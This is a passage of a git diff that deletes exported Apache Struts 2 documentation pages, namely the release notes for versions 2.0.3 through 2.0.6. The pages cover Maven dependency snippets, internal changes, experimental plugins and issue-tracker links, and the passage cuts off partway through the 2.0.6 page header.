-      &lt;version&gt;2.0.3&lt;/version&gt;
-&lt;/dependency&gt;</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Snapshot Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.snapshots&lt;/id&gt;
-    &lt;name&gt;ASF Maven 2 Snapshot&lt;/name&gt;
-    &lt;url&gt;http://people.apache.org/repo/m2-snapshot-repository&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-<h2 id="ReleaseNotes2.0.3-InternalChanges">Internal Changes</h2>
-
-<ul><li>Allow new template engines and tag libraries to be discovered automatically (<a shape="rect" class="unresolved" href="#">WW-1590</a>).</li><li>Create aggregated Struts 2 and XWork Javadoc (<a shape="rect" class="unresolved" href="#">WW-1395</a>_.</li><li>Generate Taglib TLD from annotations/xdoclet tags (<a shape="rect" class="unresolved" href="#">WW-1392</a>).</li><li>Various fixes. See the <a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/Relea [...]
-
-
-<h2 id="ReleaseNotes2.0.3-ExperimentalFeaturesandPlugins">Experimental Features and Plugins </h2>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> Please help us test these brave new features. Feedback appreciated!</p>
-
-<ul><li><a shape="rect" href="portlet-tutorial-webwork-22.html">Portlets</a>: Automatic portlet support allows portal and servlet deployments with no code changes (<a shape="rect" class="unresolved" href="#">WW-1645@S2jira</a>).</li><li><a shape="rect" href="ajax-theme.html">AJAX Theme</a>:  AJAX tags look and feel just like standard Struts tags but provide greater interactivity and flexibility. The AJAX theme is backed by the popular Dojo Toolkit (<a shape="rect" class="unresolved" href [...]
-	<ul><li><a shape="rect" class="external-link" href="http://cwiki.apache.org/S2PLUGINS/plexus-plugin.html">Plexus Plugin</a> - A new plugin that enables Struts Actions, Interceptors, and Results to be created and injected by Plexus.</li><li><a shape="rect" class="external-link" href="http://cwiki.apache.org/S2PLUGINS/scope-plugin.html">Scope Plugin</a> - Initial version of scope plugin that mimics JBoss Seam-style of scoped bijection (presently in the Sandbox).</li><li><a shape="rect" cl [...]
-	</li></ul>
-
-
-<h3 id="ReleaseNotes2.0.3-IssueDetail">Issue Detail </h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21772">JIRA Release Notes 2.0.3</a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21760">JIRA Release Notes 2.0.2 </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jsp [...]
-
-
-<h3 id="ReleaseNotes2.0.3-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10737">Struts 2.0.3 DONE </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10736">Struts 2.0.3 TODO </a></li></ul>
-
-
-<h3 id="ReleaseNotes2.0.3-Otherresources">Other resources </h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/release-notes-204.html b/content/docs/release-notes-204.html
deleted file mode 100644
index 279b171..0000000
--- a/content/docs/release-notes-204.html
+++ /dev/null
@@ -1,203 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Release Notes 2.0.4</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="release-notes-204.html">Release Notes 2.0.4</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Release Notes 2.0.4</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=34836">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=34836">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=34836">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=34836">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=34836">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=34836">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.0.4 distribution.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="release-notes-203.html">Release Notes 2.0.3</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-    &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-      &lt;version&gt;2.0.4&lt;/version&gt;
-&lt;/dependency&gt;</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Snapshot Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.snapshots&lt;/id&gt;
-    &lt;name&gt;ASF Maven 2 Snapshot&lt;/name&gt;
-    &lt;url&gt;http://people.apache.org/repo/m2-snapshot-repository&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-<h2 id="ReleaseNotes2.0.4-InternalChanges">Internal Changes</h2>
-
-<ul><li>Added dependency on Struts Annotations 1.0.1</li></ul>
-
-
-<h2 id="ReleaseNotes2.0.4-ExperimentalFeaturesandPlugins">Experimental Features and Plugins </h2>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> Please help us test these brave new features. Feedback appreciated!</p>
-
-<ul><li><a shape="rect" href="portlet-tutorial-webwork-22.html">Portlets</a>: Automatic portlet support allows portal and servlet deployments with no code changes (<a shape="rect" class="unresolved" href="#">WW-1645@S2jira</a>).</li><li><a shape="rect" href="ajax-theme.html">AJAX Theme</a>:  AJAX tags look and feel just like standard Struts tags but provide greater interactivity and flexibility. The AJAX theme is backed by the popular Dojo Toolkit (<a shape="rect" class="unresolved" href [...]
-	<ul><li><a shape="rect" class="external-link" href="http://cwiki.apache.org/S2PLUGINS/codebehind-plugin.html">Codebehind Plugin</a>: Reduce mundane configuration by using "page controller" conventions (<a shape="rect" class="unresolved" href="#">WW-1515</a>).</li><li><a shape="rect" class="external-link" href="http://cwiki.apache.org/S2PLUGINS/plexus-plugin.html">Plexus Plugin</a> - A new plugin that enables Struts Actions, Interceptors, and Results to be created and injected by Plexus. [...]
-	</li></ul>
-
-
-<h3 id="ReleaseNotes2.0.4-IssueDetail">Issue Detail </h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version==21783">JIRA Release Notes 2.0.4</a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21772">JIRA Release Notes 2.0.3</a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jsp [...]
-
-
-<h3 id="ReleaseNotes2.0.4-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10755">Struts 2.0.4 DONE </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10754">Struts 2.0.4 TODO </a></li></ul>
-
-
-<h3 id="ReleaseNotes2.0.4-Otherresources">Other resources </h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/release-notes-205.html b/content/docs/release-notes-205.html
deleted file mode 100644
index d3406fd..0000000
--- a/content/docs/release-notes-205.html
+++ /dev/null
@@ -1,203 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Release Notes 2.0.5</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="release-notes-205.html">Release Notes 2.0.5</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Release Notes 2.0.5</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=35554">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=35554">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=35554">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=35554">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=35554">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=35554">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.0.5 distribution.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="release-notes-204.html">Release Notes 2.0.4</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-    &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-      &lt;version&gt;2.0.5&lt;/version&gt;
-&lt;/dependency&gt;</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Snapshot Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.snapshots&lt;/id&gt;
-    &lt;name&gt;ASF Maven 2 Snapshot&lt;/name&gt;
-    &lt;url&gt;http://people.apache.org/repo/m2-snapshot-repository&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-<h2 id="ReleaseNotes2.0.5-DocumentationChanges">Documentation Changes</h2>
-
-<ul><li>Added Portal Developers Guide.</li><li>Added Wilcard Mappings section to Core Developers Guide.</li></ul>
-
-
-<h2 id="ReleaseNotes2.0.5-ExperimentalFeaturesandPlugins">Experimental Features and Plugins </h2>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> Please help us test these brave new features. Feedback appreciated!</p>
-
-<ul><li>Java 1.4 support: We are backporting the core Struts and XWork JARs, and, as a courtesy, bundling them with the distribution. However, Struts 2 is being coded for Java 5 and backward compatibility is not assured.</li><li><a shape="rect" href="portlet-tutorial-webwork-22.html">Portlets</a>: Automatic portlet support allows portal and servlet deployments with no code changes (<a shape="rect" class="unresolved" href="#">WW-1645@S2jira</a>).</li><li><a shape="rect" href="ajax-theme.h [...]
-	<ul><li><a shape="rect" class="external-link" href="http://cwiki.apache.org/S2PLUGINS/codebehind-plugin.html">Codebehind Plugin</a>: Reduce mundane configuration by using "page controller" conventions (<a shape="rect" class="unresolved" href="#">WW-1515</a>).</li><li><a shape="rect" class="external-link" href="http://cwiki.apache.org/S2PLUGINS/plexus-plugin.html">Plexus Plugin</a> - A new plugin that enables Struts Actions, Interceptors, and Results to be created and injected by Plexus. [...]
-	</li></ul>
-
-
-<h3 id="ReleaseNotes2.0.5-IssueDetail">Issue Detail </h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21791">JIRA Release Notes 2.0.5 </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21783">JIRA Release Notes 2.0.4 </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.js [...]
-
-
-<h3 id="ReleaseNotes2.0.5-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10762">Struts 2.0.5 DONE </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10761">Struts 2.0.5 TODO </a></li></ul>
-
-
-<h3 id="ReleaseNotes2.0.5-Otherresources">Other resources </h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/release-notes-206.html b/content/docs/release-notes-206.html
deleted file mode 100644
index c8ffcf2..0000000
--- a/content/docs/release-notes-206.html
+++ /dev/null
@@ -1,227 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Release Notes 2.0.6</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="release-notes-206.html">Release Notes 2.0.6</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
